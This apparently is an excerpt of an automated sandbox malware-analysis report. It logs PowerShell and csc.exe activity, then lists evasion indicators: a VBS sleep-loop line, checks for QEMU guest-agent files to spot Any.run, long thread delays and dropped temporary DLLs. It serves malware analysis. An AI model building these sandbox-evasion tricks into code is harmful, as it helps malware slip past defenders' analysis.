            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX

            Malware Analysis System Evasion

            barindex
            Potential evasive VBS script found (sleep loop)
            Source: Initial fileInitial file: For i = 1 To len(h) step 2 if i mod 21 = 0 then Wscript.Sleep(1)
            Tries to detect Any.run
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Program Files\Qemu-ga\qemu-ga.exeJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Program Files\qga\qga.exeJump to behavior
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeFile opened: C:\Program Files\Qemu-ga\qemu-ga.exeJump to behavior
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeFile opened: C:\Program Files\qga\qga.exeJump to behavior
            Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
            Source: powershell.exe, 0000000C.00000002.632377605.00000000009CE000.00000004.00000020.sdmpBinary or memory string: \??\C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEENT
            Source: powershell.exe, 0000000C.00000002.639577139.0000000007621000.00000004.00000001.sdmp, powershell.exe, 0000001D.00000002.897383455.0000000009550000.00000004.00000001.sdmp, powershell.exe, 0000001D.00000002.888436421.0000000007768000.00000004.00000001.sdmpBinary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
            Source: powershell.exe, 0000001D.00000002.897383455.0000000009550000.00000004.00000001.sdmpBinary or memory string: USER32NTDLLKERNEL32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERWININET.DLLMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOSHELL32ADVAPI32TEMP=PROGRAMFILES=\INTERNET EXPLORER\IEINSTAL.EXEWINDIR=\SYSWOW64\MSHTML.TLBPROGRAMFILES=\INTERNET EXPLORER\IEINSTAL.EXEWINDIR=\SYSWOW64\MSHTML.TLB
            Source: powershell.exe, 0000001D.00000002.888004573.00000000076F0000.00000004.00000001.sdmpBinary or memory string: \??\C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE*
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6772Thread sleep time: -1844674407370954s >= -30000sJump to behavior
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe TID: 6436Thread sleep count: 117 > 30Jump to behavior
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe TID: 6436Thread sleep time: -58500s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5700Thread sleep count: 1135 > 30Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5628Thread sleep count: 408 > 30Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3932Thread sleep count: 50 > 30Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6512Thread sleep time: -14757395258967632s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6512Thread sleep time: -922337203685477s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4952Thread sleep count: 2004 > 30Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1904Thread sleep count: 6552 > 30Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4844Thread sleep time: -12912720851596678s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4844Thread sleep time: -922337203685477s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6572Thread sleep count: 2405 > 30
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6572Thread sleep count: 739 > 30
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4028Thread sleep count: 33 > 30
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3040Thread sleep time: -10145709240540247s >= -30000s
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3040Thread sleep time: -922337203685477s >= -30000s
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3540Thread sleep count: 104 > 30
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4560Thread sleep time: -17524406870024063s >= -30000s
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\yy0zjl34.dllJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\tm43worv.dllJump to dropped file
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4106Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1660Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1135Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 408Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2004Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6552Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2405
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 739
            Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-TimerJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
